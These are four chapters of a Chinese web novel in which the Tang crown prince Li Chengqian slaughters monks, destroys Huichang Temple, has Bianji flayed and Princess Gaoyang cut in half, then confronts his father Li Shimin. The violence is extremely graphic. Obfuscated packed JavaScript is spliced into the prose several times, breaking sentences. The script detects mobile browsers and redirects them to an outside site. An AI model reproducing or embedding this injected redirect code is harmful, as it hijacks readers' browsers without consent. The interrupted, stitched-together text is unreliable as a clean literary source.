这里是长安城内最负盛名的寺庙之一,并非因为它规模宏大,或是佛法精深,而是因为一个人——辩机。 更因为辩机背后的那个人——高阳公主。 皇家的恩宠,将这里与世俗的纷扰隔绝开来。 寺内的僧侣们,也因此比别处的同道多了一份常人难及的优越和傲慢。 然而,这份宁静很快就被打破了。 沉重而整齐的脚步声,如同擂响的战鼓,由远及近,震得地面微微发颤。 会昌寺的僧侣们,起初并未在意。 他们早已习惯了达官贵人们的车马临门,习惯了禁军侍卫护送皇亲国戚前来礼佛的阵仗。 但这一次,声音不对。 没有车轮滚滚,没有马蹄杂乱,只有一种声音,一种冷酷到极致的,金属与石板撞击的死亡节拍。 寺门被轰然推开。 阳光被门外涌入的黑色人潮所吞噬,大殿前的庭院瞬间暗了下来。 为首一人,身披百花战袍,面容冷峻,正是左武卫中郎将李君羡。 他的身后,是数百名身披玄甲的禁军士卒。 他们沉默地散开,手中的横刀在午后阳光的余晖下,反射出刺目的寒光。 与城南那些已经杀红了眼的部队不同,李君羡带来的这支人马,更为精锐。 他们的铠甲上没有多余的血迹,仿佛刚才的杀戮与他们无关,但他们身上散发出的那股铁与血凝固而成的煞气,却比任何鲜血都更让人心悸。 尤其是在队伍后方,一排身材异常魁梧的士卒,他们肩上扛着的,不是寻常的横刀,而是一种形制狰狞的武器。 长长的刀柄,宽阔的刀身,那是一种专为战场搏杀而生的凶器——陌刀。 寺内的僧侣们终于从禅房和经堂中走了出来,他们看着这支不速之客,脸上先是闪过惊讶,随即又恢复了惯有的倨傲。 一名穿着锦斓袈裟、身材肥胖的主事僧人,捻着佛珠,不紧不慢地走上前。 他脸上堆着假笑,眼神里却透着轻蔑。 “阿弥陀佛,不知各位军爷大驾光临,有何贵干?” 他甚至连腰都懒得弯一下,语气中带着一种居高临下的盘问,“此乃皇家寺院,若无要事,还请速速退去,莫要惊扰了佛门清净。” 李君羡面无表情地看着他,仿佛在看一个**。 他没有说话,只是轻轻抬了一下手。 那主事僧人没有看懂这个手势的含义,他以为对方被自己的气势所慑,脸上的傲慢更盛。 他清了清嗓子,声音也拔高了几分:“我等侍奉的,乃是辩机高僧!尔等可知辩机高僧是何人?” 他环视着那些面如寒冰的禁军士卒,仿佛在炫耀一件稀世珍宝。 “告诉你们,辩机高僧乃是玄奘法师亲传弟子,更是……” 他故意顿了顿,享受着这种掌控局面的感觉,一字一句地说道,“……深受当今高阳公主殿下信重之人!” “我会昌寺,常年受高阳公主香火供奉!你们今日无故闯入,若是冲撞了公主殿下,这个罪责,你们担待得起吗?” 这番话说得铿锵有力,掷地有声。 在这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253045|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僧侣看来,“高阳公主”这四个字,就是长安城里最好用的护身符。 别说是区区禁军,就算是三省六部的宰相来了,也得给几分薄面。 然而,他们预想中禁军士卒们惶恐不安、躬身退去的场面,并未出现。 回答他们的,是死的寂静。 还有李君羡那双愈发冰冷的眼睛。 “说完了?” 李君羡终于开口,声音嘶哑,不带情感。 主事僧人一愣,下意识地点了点头。 “说完了,就上路吧。” 话音未落,李君“羡”的手猛然挥下。 站在他身后的陌刀队,踏前一步。 “嗡——”那不是刀剑出鞘的清鸣,而是十几把沉重的陌刀同时挥起时,划破空气发出的沉闷咆哮。 那名主事僧人脸上的笑容瞬间凝固,瞳孔猛地收缩。 他看到一抹巨大的阴影,夹杂着死亡的气息,当头罩下。 他想躲,想跑,想喊出“高阳公主救我”。 可是一切都太迟了。 “噗——嗤!” 没有金铁交鸣,没有骨骼碎裂的脆响,只有一种令人牙酸的、利刃切入肉体的声音。 陌刀的锋刃,从他的头顶天灵盖正中而入,势如破竹,毫无阻滞地划过他的脸、他的脖颈、他的胸膛、他的腹部…… 时间,在这一刻仿佛变慢了。 周围的僧侣们,惊恐地看到他们那位不可一世的主事,身体中央出现了一条细细的红线。 紧接着,红线迅速扩大。 他的身体,干脆利落地分成了左右两半。 滚烫的鲜血、白色的脑浆、红色的内脏、黄色的秽物…… 在两片尸身向两侧倒下的瞬间,轰然泼洒而出,将他身后那尊慈眉善目的鎏金佛像,浇灌得淋漓尽致。 浓烈的血腥味,混合着内脏的腥臭,瞬间引爆了整个庭院。 “啊——!” 短暂的死寂之后,是撕心裂肺的尖叫。 幸存的僧侣们,脸上的傲慢和优越感被彻底击碎,取而代之的是最原始的恐惧。 他们屁滚尿流,扔掉了手中的佛珠和经卷。 可他们能逃到哪里去? “杀!” 第121章 陌刀之威,人马俱碎! 李君羡吐出了第二个字。 陌刀队再次向前推进。 他们排成一列横队,巨大的刀锋平举,冷酷地向前碾压。 一名僧人慌不择路,迎面撞了上来。 他甚至没来得及发出惨叫,整个人就被刀锋拦腰斩断。 上半身还在半空中翻滚,下半身已经无力地跪倒在地。 另一名僧人试图躲到粗大的廊柱后面。 陌刀手毫不犹豫地挥刀。 “咔嚓!” 一声巨响,碗口粗的朱红廊柱,连同躲在后面的僧人,被一刀两断! 木屑与血肉齐飞,场面骇人至极。 陌刀之威,人马俱碎,更何况是这区区血肉之躯! 这些平日里养尊处优的僧侣,在陌刀面前,脆弱得如同纸糊的。 无论他们是跪地求饶,还是歇斯底里地哭喊,都无法阻挡这面死亡刀墙分毫。 刀光闪过,便是一条生命的终结。 鲜血染红了青石板铺就的地面,汇成一条条溪流,流向寺院里的莲花池。 清澈的池水,很快被染成了触目惊心的赤色。 玄武门外,血流成河。 而此刻,这血河的分支,已经流进了长安城中每一个曾经被视为清净之地的角落。 李承乾站在城楼上,似乎能听到从城中各处传来的惨叫,似乎能闻到空气中那越来越浓的血腥味。 他的脸上,没有半分动容。 既然说了天下无僧,那他李承乾,便说到做到! 这长安,这大唐,从今往后,只能有一个声音。 那就是他李承乾的声音! 城南的金城坊,会昌寺。 与其他寺庙的仓皇与混乱不同,这里,死寂得可怕。 辩机已经被凌迟处死的消息,早已吹遍了长安的每个角落。 那个与高阳公主在榻上偷欢,留下玉枕作为罪证的僧人,他的每一寸皮肉都在万人的围观下被片片剥离,他的惨嚎,据说响彻了整个西市。 因此,当李君羡率领着满身血污的陌刀队,出现在会昌寺门前时,寺内甚至没有传来一声尖叫。 恐惧,已经扼住了所有人的喉咙。 寺门大开着,仿佛一个等待被吞噬的洞口。 几个年轻的沙弥瘫软在门槛边,裤裆湿透,腥臊的气味弥漫开来,却连逃跑的力气都没有。 李君羡的目光越过他们,扫视着这座因皇室的恩宠而格外辉煌的寺庙。 飞檐斗拱,雕梁画栋,无一不透着奢华。 他缓缓抬起手,那只戴着玄铁护腕的手,依旧稳定。 他没有下达“杀”的命令。 因为太子殿下的命令是,让辩机死,让这座寺庙…… 消失。 “拆。” 一个字,冰冷,简洁,不带任何情绪。 身后的陌刀手们,似乎早就等待着这个命令。 他们将沉重的陌刀收回背上,发出一阵阵令人牙酸的金属摩擦声。 然后,他们从后方的辎重车上取下了早已准备好的工具。 粗大的麻绳,带着倒刺的铁钩,沉重的铁锤,以及削尖了顶端的攻城巨木。 这不是**。 这是拆迁。 是一场以军队为执行者的,最彻底的抹除。 “嗬!” 数十名大唐最精锐的士卒,齐声发出一声低吼。 他们将数十根带着铁钩的绳索奋力向上抛去。 铁钩精准地咬住了大雄宝殿的琉璃瓦顶和飞檐。 “拉!” 一名队正挥下手臂。 士卒们弓步沉腰,肌肉贲张,青筋如同虬龙般在手臂上暴起。 他们脚下的青石板,因为巨大的力量而发出不堪重负的呻吟。 “嘎……嘎吱……” 支撑着宏伟屋顶的卯榫结构,发出了断裂前的悲鸣。 琉璃瓦片簌簌滑落,在地上摔得粉碎。 寺内的僧侣们,眼睁睁地看着这一幕,脸上的血色褪尽,只剩下死灰。 他们眼中的信仰,他们赖以为生的尊贵,正在被最粗暴的力量,一寸寸地撕裂。 “不……不要……” 一个老僧终于从极度的恐惧中挣脱出来,他连滚带爬地扑向李君羡的马前,涕泪横流,“将军!将军饶命啊!佛祖……佛祖会保佑您的!这是皇家寺院,是公主殿下……” 他的话还没说完,李君"羡甚至没有低头看他一眼。旁边一名陌刀手面无表情地走上前,抡起手中的铁锤。 “砰!” 沉闷的响声! 老僧的脑袋,当场就变成了一团模糊的红白之物,再也发不出任何声音。 这一下,彻底击溃了所有僧人最后的心理防线。 他们不再求饶,也不再哭喊,只是绝望地看着自己的一切被摧毁。 “轰——隆!” 伴随着一声巨响,大雄宝殿的整个屋顶,被硬生生地从梁柱上扯了下来,重重地砸在院中,掀起漫天烟尘。 失去了屋顶的殿堂,显得如此滑稽而可悲。 那尊高大的鎏金释迦牟尼像,就这么暴露在血色的残阳下,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253046|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的悲悯,此刻看起来更一种无能的嘲讽。 “继续。” 李君羡的声音,穿透尘埃,清晰地传到每个人耳中。 士卒们用巨木作为撞锤,开始一下一下地撞击着那些朱红色的承重柱。 “咚!” “咚!” “咚!” 每一次撞击,都让整座寺庙的地面为之震颤。 墙壁上精美的壁画开始剥落,描绘着极乐世界的景象,在暴力面前化为齑粉。 终于,一根廊柱在连续的撞击下轰然断裂。 多米诺骨牌效应瞬间产生。 失去支撑的墙体、横梁、斗拱…… 如同山崩地裂,接二连三地垮塌下来。 巨大的轰鸣声响彻整个金城坊。 那些曾经被视为珍宝的经卷,被埋在砖石瓦砾之下。 那些巧夺天工的佛像,被砸得支离破碎。 李君羡的目光,落在了后院一处尤为雅致的禅房。 那里,松柏青翠,甚至还有一小片竹林。 他知道,那里就是辩机与高阳公主幽会的“圣地”。 他策马缓缓走了过去。 几名士兵已经冲了进去,里面传来一阵阵打砸声。 “那张床!给老子劈了!” “还有这破琴,当柴火都嫌它不经烧!” “墙上这画的是什么玩意儿?**吗?哈哈哈哈!” 污言秽语,夹杂着士兵们粗野的笑声,从那间曾经充满着禁忌情欲的禅房中传出。 很快,一缕黑烟升起,继而变成了熊熊烈火。 火焰吞噬了木质的结构,将那些见不得光的秘密,连同建筑本身,一同烧成了焦炭。 李君羡冷漠地看着那冲天的火光。 他知道,太子殿下要的,不仅仅是辩机的命,也不仅仅是这座寺庙的毁灭。 殿下要的,是彻底地、公开地羞辱那个给大唐丢脸的妹妹高阳,是羞辱整个沉溺于虚幻信仰的李唐皇室。 他要用这烈火与废墟告诉所有人,旧的时代结束了。 他李承乾,不在乎什么皇室颜面,不在乎什么佛祖神仙。 他只在乎权力,绝对的,不容挑战的权力。 当最后一面墙壁倒塌,会昌寺彻底变成一片无法辨认的瓦砾场时,李君羡才调转马头。 “收队。” 陌刀队重新集结,他们来时杀气腾腾,走时,却只留下一片死寂的废墟和漫天的烟尘。 城楼之上,李承乾凭栏远眺。 南边的天空,被一片火光映得通红。 第122章 最大的黑手不就是李世民吗 他知道,那是会昌寺的方向。 他的嘴角,勾起了一抹冰冷的弧度。 辩机,高阳。 不过是他宏大棋局中,两颗无足轻重的弃子。 他要杀的,从来不是一个和尚,或者几个和尚。 他要杀的,是盘踞在人心之上,与皇权分庭抗礼的…… 神佛! “天下无僧。” 他低声呢喃,仿佛在品味这四个字的力量。 这,仅仅是一个开始。 玄武门外,浓稠的血腥气几乎凝成了实质,刺得人鼻腔发酸。 清晨的薄雾尚未散尽,却被这冲天的血气染上了一层淡淡的绯红。 玄武门,这座大唐帝国权力的象征,此刻成了最骇人的屠宰场。 石板的缝隙间,鲜血汇聚成溪,缓缓流淌,浸润了泥土,将地面染成一片暗沉的赭色。 数百颗剃着光头的头颅,被随手堆砌在城墙根下,像一堆无人问津的冬瓜。 他们都曾是追随高阳公主的僧兵,前一刻还口诵佛号,妄图以螳臂之躯撼动皇权,此刻,他们的佛陀没有来拯救他们。 他们的眼睛大睁着,凝固着死前的惊愕、愤怒与不解。 满朝文武,被勒令在此“观刑”。 他们一个个锦衣华服,却在刺骨的晨风中瑟瑟发抖,脸色比**还要苍白。 没人敢交头接耳,甚至没人敢大声喘气。 空气中,只有血滴落的声音,和远处传来的一阵阵非人的,撕心裂肺的哀嚎。 “啊——!!” 那声音凄厉至极,从地狱深处爬出的恶鬼在哭嚎。 那是辩机。 曾经风度翩翩,引得公主倾心的得道高僧,如今被赤裸地绑在一个木架上,像一条待宰的牲畜。 一名面无表情的刽子手,正用一把薄如蝉翼的小刀,在他身上进行着一场精密的艺术创作。 凌迟。 每一刀下去,都带起一片薄薄的皮肉,却又精准地避开要害,确保犯人能在最极致的痛苦中,清醒地迎接死亡。 辩机的身体已经不成形,血肉模糊,可他的哀嚎却愈发高亢,穿透云霄,敲打着每一个在场者的耳膜和心脏。 房玄龄死死地低着头,眼观鼻,鼻观心,宽大的朝服袖袍下,双手攥得指节发白。 他不敢看,那场面太过惨烈,惨烈到让他这个见惯了风浪的老臣都胃里翻江倒海。 魏征的脸色铁青,嘴唇紧紧抿成一条线。 他的目光没有落在辩机身上,而是死死盯着另一处。 在那里,就在玄武门的正下方,一个更加触目惊心的画面,挑战着所有人的认知底线。 高阳公主。 大唐最受宠爱的公主,天之骄女,李世民的掌上明珠。 她就那么横在那里。 她的上半身还在,华美的宫装被血污浸透,那张曾经娇艳无双的脸上,此刻写满了扭曲的痛苦和无尽的悔恨。 她的下半身,在几丈开外。 腰斩。 行刑的巨斧还扔在一旁,上面沾满了鲜红的血和一些不可名状的组织。 肠子、内脏流了一地,与泥土和血水混杂在一起,散发出令人作呕的腥臭。 “殿下……殿下,为何如此……我是你妹妹啊……” 高阳还没有完全死去,她用尽最后力气,伸出血污的手,似乎想抓住什么,嘴里发出微弱而绝望的呢喃。 刽子手上前,一脚踩在她的头上,面无表情地拔出腰刀。 “噗嗤。” 一声闷响,世界清静了。 高阳公主的头颅滚落到一旁,双眼圆睁,死不瞑目。 她至死都不明白,那个曾经温文尔雅,甚至有些怯懦的太子哥哥,为何会变得如此…… 恐怖。 满朝文武,死的寂静。 他们看着这一幕,看着皇室的公主如同猪狗般被屠戮在京城的正门外,寒气从脚底板直冲天灵盖。 疯了。 太子殿下真的疯了。 所有人的目光,都不由自主地,带着无尽的恐惧,投向了城楼之上那个孤高的身影。 李承乾就站在那里,身着玄色太子常服,金线绣成的四爪龙纹在晨光下闪着冷硬的光。 他面无表情,眼神平静得像一潭深不见底的寒水,漠然地俯瞰着自己亲手制造的这片人间地狱。 妹妹的惨死,情人的哀嚎,百官的恐惧…… 这一切,似乎都无法在他心中激起一毫的波澜。 他只是看着,像一个棋手,在审视一盘已经大获全胜的棋局。 他甚至没有多看高阳的尸身一眼。 他的目光,落在了那些战战兢兢的文武百官身上。 长孙无忌的额头渗出了冷汗,他竭力保持着镇定,但微微颤抖的胡须还是出卖了他内心的惊涛骇浪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253047|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程咬金这个混不吝的莽夫,此刻也收起了所有的粗豪,像个鹌鹑一样缩着脖子,大气不敢出。 李靖垂着眼,仿佛入定,可他紧绷的下颚线条,显示出他内心的极度不平静。 李承乾的视线,从一张张惊恐、骇然、畏惧的脸上缓缓扫过。 他很满意。 他要的就是这个效果。 用最血腥、最直接、最不留情面的方式,告诉这满朝文武,告诉整个大唐——时代变了。 他李承乾,不是那个可以任人拿捏的储君。 皇室的颜面? 宗亲的血脉? 在他绝对的权力面前,一文不值! 就在这极致的恐惧中,一些心思深沉的官员,比如房玄龄和杜如晦,却在强迫自己冷静下来,思考一个更深层次的问题。 辩机和尚**宫闱,这固然是取死之道。 但长安城内,何止一个辩机? 这些年,佛门势力急剧膨胀,寺庙广占田亩,僧侣不事生产,却富得流油。 更有甚者,暗中开设赌坊,私放印子钱,甚至窝藏**,蓄养武僧。 一个高阳公主,一个辩机和尚,他们有这么大的能量,搅动整个长安的地下世界吗? 绝无可能。 他们的背后,一定有一只看不见的黑手,在暗中支持,在推波助澜。 这只黑手,利用僧侣的特殊身份,为自己敛财,为自己**势力,甚至…… 图谋不轨。 过去,大家不是没察觉,只是碍于佛门的巨大影响力和皇室的暧昧态度,没人敢深究。 可今天,太子殿下以雷霆之势,将这一切都掀了个底朝天。 那这只黑手,到底是谁? 是与太子为敌的某个皇子? 是心怀不满的五姓七望? 还是…… 一个更加可怕的念头,在房玄龄的脑海中,如同毒蛇般猛地探出头来。 他浑身一颤,几乎站立不稳。 他猛地抬头,再次看向城楼上的李承乾。 太子殿下似乎察觉到了他的目光,嘴角微微上扬,露出一个冰冷而又意味深长的笑容。 房玄龄瞬间如坠冰窟,浑身的血液仿佛都凝固了。 他明白了。 哪有什么幕后黑手! 或者说,最大的那只黑手,就是此刻站在城楼之上,俯瞰众生的大唐皇帝李世民! 第123章 逼问房玄龄 是他,一手纵容,甚至暗中扶持了这些僧侣的堕落与疯狂。 他养大了这条名为“佛门”的恶犬,养肥了它,养疯了它。 然后,他的太子李承乾,当着所有人的面,亲手将它活活打死! 他用高阳和辩机的丑闻作为引线,用满城僧侣的贪婪**作为**,引爆了这颗惊天动地的大雷。 他要的,根本不是整顿什么佛门。 他要的,是用一场血腥的清洗,震慑所有心怀异志的人。 他要的,是借着这个由头,将佛门连根拔起,将他们侵占的土地、财富、人口,全部收归己有! 好狠的手段! 好深的心机! 房玄龄只觉得凉意从脊椎一路窜上头顶,他仿佛看到了一头蛰伏多年的凶兽,终于露出了它锋利无匹的獠牙。 大唐的天,真的要变了。 朱雀门城楼之上,血腥气混杂着檀香的余烬,被凛冽的寒风卷着,灌入每一个人的口鼻。 那是一种令人作呕的、混合了神圣与堕落的诡异气息。 李承乾的声音并不高,却像一把锥子,精准地刺入死寂的空气中,刺入每一个战战兢兢的灵魂里。 “房相。” 他转过头,目光落在队列最前方的房玄龄身上。 那眼神平静无波,仿佛在问今天天气如何。 “本宫想问问,谁是这些淫僧背后的支持者?谁给他们的胆子,让他们**宫闱,秽乱我大唐?又是谁,在背后撑腰,让他们疯狂敛财,侵吞民脂民膏?” 一连三问。 字字如锤。 每一锤,都砸在所有人的心口上。 房玄龄的身子,本就因刚才那番惊心动魄的推想而微微僵硬,此刻被李承乾点名,更是感到寒气从脚底板直冲天灵盖。 他无法回答。 这个问题,是一个绝杀的陷阱。 说不知道? 这是在糊弄太子,是失职。 随便攀咬一个皇子或世家? 那等于是在太子的授意下,开启一场你死我活的党争,他房玄龄将成为太子手中最锋利也最肮脏的刀。 他不敢想下去。 冷汗,从他花白的鬓角渗出,顺着脸颊的皱纹滑落。 他下意识地,艰难地,抬起了头。 他的视线,越过广场上黑压压的人群,越过那些被钉在耻辱柱上的尸体,最终,落在了不远处,同样站在城楼之上的那个身影——大唐帝国的至尊,李世民。 那一刻,房玄龄的眼神复杂到了极点。 有惊恐,有悲哀,也有不易察觉的怜悯。 天下谁人不知,当年玄奘法师西行归来,是何等的风光无限? 陛下亲率文武百官,出城十里相迎,与玄奘法师结为兄弟,尊称其为“御弟”。 这是何等的恩宠! 而辩机,正是玄奘三大高徒之一,深受倚重。 由玄奘口述,辩机执笔的那本《大唐西域记》,如今还静静地躺在皇家的书库之中,被陛下时时翻阅,引为盛事。 可以说,佛门在大唐能有今日之鼎盛,与皇帝陛下的推崇和扶持有撇不清的干系。 房玄龄这一眼,无声,却胜过千言万语。 他不是在回答太子。 他是在提醒太子,也是在向皇帝陛下传递一个绝望的信号——这把火,您亲自点的,如今烧到自己身上了! 李承乾仿佛没有看到房玄龄的目光,他只是静静地等着,嘴角那抹冰冷的弧度,在苍白的天光下,显得愈发残酷。 他给足了时间。 让这个问题,在每一个人的心里发酵、腐烂、生出毒芽。 满朝文武,并非都是蠢人。 房玄龄能想到的,杜如晦能想到,长孙无忌…… 同样能想到。 起初,他们只是被太子的血腥手段所震慑,脑中一片空白。 可当李承乾这个问题抛出来,就像一颗石子投入死水,瞬间激起无数涟漪。 是啊…… 谁是幕后黑手? 一个高阳公主,一个辩机和尚,怎么可能掀起这么大的风浪? 长安城内外上百座寺庙,哪一座不是金碧辉煌? 哪一座不是良田万顷? 这些财富,难道都是从天上掉下来的? 僧侣们开设赌坊,私放印子钱,甚至窝藏钦犯…… 若没有一个通天的人物在背后罩着,给他们一百个胆子也不敢如此猖狂! 顺着这条线索往上摸,所有人的视线,都不由自主地,或隐晦,或惊惧地,飘向了那个身着龙袍的男人。 李世民! 是他,一手将佛门捧上了神坛。 是他,给了玄奘无上的荣耀。 是他,默许了寺庙的疯狂扩张。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253048|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刹那间,整个广场的气氛变得无比诡异。 恐惧依旧在,但其中,却混入了别样的东西。 是猜疑。 是对至高皇权的猜疑。 李世民站在城楼的寒风中,只觉得那风不再是拂面而过,而是变成了一把把锋利的刀子,从四面八方割向自己。 他看到了房玄龄那绝望中带着质问的眼神。 他感受到了下方百官那无数道汇集而来、充满惊疑的目光。 他甚至能听到那些压抑到极致的呼吸声,和心照不宣的死寂。 前所未有的恐慌,如同毒蛇,猛地缠住了他的心脏,让他几乎窒息。 完了。 事情要失控了。 那些僧侣敛聚的财富,十之四五,都通过秘密的渠道,源源不断地流入了他的内帑! 他用这些钱,豢养着不属于朝廷编制的密探,打造着最精良的兵器,甚至…… 资助着一些不能摆在明面上的计划。 这是他身为帝王,制衡朝堂,掌控天下的秘密武器。 他自以为做得天衣无缝,神不知鬼不觉。 可现在,他这个好儿子,他寄予厚望的太子,正当着满朝文武的面,一步一步,要把他钉在耻辱柱上! 这一刻,李世民的脑海中,轰然闪过二十多年前那个血色的清晨。 玄武门! 又是这种感觉! 被逼到悬崖边上,被自己的至亲用刀顶着喉咙,无路可退! 只是这一次,动手的不是他的兄弟,而是他的儿子! 一个比他当年更年轻,更隐忍,也更狠毒的儿子! 李世民握在城垛上的手,指节因为过度用力而根根发白,坚硬的青石被他捏得发出细微的碎裂声。 他死死盯着李承乾的背影,眼神中的威严与怒火几乎要凝成实质,将他洞穿。 然而,李承乾依旧不为所动。 他仿佛没有感受到身后那足以杀**的目光,只是将视线重新聚焦在冷汗涔涔的房玄龄身上。 “房相,很难回答吗?” 他的声音里带上了不耐烦,“还是说,这背后的人,身份太过尊贵,让您不敢说,不能说?” “不敢说?” “还是不能说?” 这两个词,像两记重锤,再次狠狠砸下。 这已经不是暗示了,这是赤裸裸的逼宫! 第124章 三堂会审李世民 房玄龄的身体晃了晃,他身旁的杜如晦眼疾手快,不动声色地扶了他一把,才让他没有当场瘫软下去。 房玄龄知道,自己再也不能沉默了。 他每多沉默一息,皇帝陛家的威严就多受一分损伤,太子施加的压力就多重一分。 他艰难地咽了一口唾沫,干涩的喉咙里发出嘶哑的声音。 “殿下……息怒。” “此事……盘根错节,牵连甚广,恐非一人之过,乃积弊已久。” 他每说一个字,都要耗费巨大的心力,仿佛在刀尖上跳舞。 “臣……臣以为,当务之急,是立刻查封所有涉事寺庙,清点其田产、财物,将所有不法之财尽数收归国库,以充实府库,救济万民。” “至于……至于这幕后之人,” 房玄龄的声音更低了,几乎微不可闻,“此事干系重大,牵一发而动全身,还请殿下和陛下……三思,容臣等……详查之后,再做定论!” 这是一个滴水不漏的回答。 既点明了问题的复杂性,又给出了眼下最实际的解决方案——先捞钱! 同时,又用一个“详查”的理由,将这烫手的山芋暂时往后推了推,给了皇帝陛下喘息和转圜的余地。 不愧是房玄龄。 纵然身处狂风骇浪的中心,依旧能勉力维持住清明,找到唯一的一条生路。 听完这番话,李承乾的脸上,终于露出了笑容。 那笑容,如冬日寒冰,没有半分暖意。 他要的就是这个结果。 他并不需要房玄龄真的指认谁,他只需要通过这个问题,通过房玄龄的反应,在所有人的心中,种下一颗怀疑的种子。 一颗怀疑皇帝的种子。 这就够了。 “好。” 李承乾缓缓点头,声音恢复了平静,“既然房相都这么说了,那就依房相之言。” “传本宫令旨!” 他猛地提高声音,威严的命令响彻全场。 “命,刑部、大理寺、御史台,会同京兆府,即刻查封长安城内所有佛寺!清点其财产田亩,但凡有来历不明者,一律充公!” “所有僧侣,就地看押,甄别身份!凡无度牒、身负罪案、破戒犯律者,一律依法严惩,绝不姑息!” “命,尉迟宝林、秦怀玉,率东宫卫率进驻城内各坊,维持秩序!若有妖僧反抗,或歹人趁机作乱……” 李承乾的目光扫过全场,声音森寒如铁。 “格杀勿论!” “格杀勿论!” 四个字,如四柄淬了寒毒的利刃,狠狠钉入太极殿的盘龙金柱,嗡嗡作响。 整个大殿,死寂无声。 方才还因太子雷霆手段而心惊肉跳的百官,此刻连大气都不敢喘一口。 他们僵立在原地,像一群被瞬间冰封的泥塑木雕,眼中的惊骇尚未褪去,更深沉的恐惧已经爬上心头。 东宫卫率进驻各坊,格杀勿论。 这是何等的权柄? 何等的杀伐果断? 这已经不是监国,这是军管! 秦怀玉和尉迟宝林二人,甲胄铿锵,轰然出列,单膝跪地,声如洪钟:“末将,遵命!” 他们的声音,打破了这令人窒息的死寂,也像一记重鼓,敲在每个人的心上。 然而,李承乾似乎觉得,这还不够。 他缓缓转身,目光越过下方战战兢兢的群臣,越过那一道道白玉台阶,最终,精准地落在了那高高在上的龙椅之上。 落在了他那面沉如水、眼眸深处却已然掀起滔天巨浪的父皇,李世民的身上。 所有人的心,都跟着他的视线,提到了嗓子眼。 父子二人,隔着整个朝堂,遥遥对望。 一个站在权力的下游,却气势滔天,步步紧逼。 一个坐在权力的顶端,却被逼得节节败退,无路可走。 空气中,仿佛有无形的电光在激烈碰撞,发出滋啦的声响。 李承乾的脸上,那抹寒冰般的笑容又一次浮现。 他没有再看任何人,只是对着那至高无上的皇权象征,声音不大,却清晰地传遍了整座大殿的每一个角落。 “查封寺庙,清点田产,惩治恶僧,这都只是治标。” 他的语气平静得可怕,就像在陈述一个再简单不过的事实。 “孤以为,此事之根源,在于监管不力,在于朝廷失察,在于……有人为谋私利,纵容包庇,才使得佛门沉疴,深入骨髓,糜烂至此。” 每一个字,都一块石头,投向平静的湖面,激起层层涟漪。 而这湖面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253049|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就是李世民的帝王尊严。 “房相说,此事盘根错节,牵连甚广。” 李承乾的视线依旧锁死在李世民身上,口中却在回应着房玄龄先前的话,“孤深以为然。” “如此动摇国本之大案,若只抓些小鱼小虾,如何能正国法?如何能安民心?如何能给天下一个交代?” 他的声音陡然拔高,充满了凛然不可侵犯的正气,却又像一条毒蛇,吐着信子,探向龙椅的方向。 “所以!” 李承乾猛地一甩袍袖,向前踏出一步。 那一步,仿佛踏在了所有人的心坎上。 “孤,要三堂会审!” 轰隆! 宛如一道九天惊雷,在太极殿内轰然炸响! 房玄龄只觉得眼前一黑,整个身子都软了下去,若不是杜如晦死死架住他的胳膊,他恐怕已经瘫倒在地。 “玄成!” 杜如晦低喝一声,声音里满是骇然。 可房玄龄什么也听不见了,他的脑子里只剩下那四个字,在反复回荡。 三堂会审! 三堂会审! 他震撼地抬起头,望向那个挺拔如枪的太子背影。 疯了! 太子殿下一定是疯了! 三堂会审? 审谁? 审那些和尚吗? 审那些贪官污吏吗? 不! 都不是! 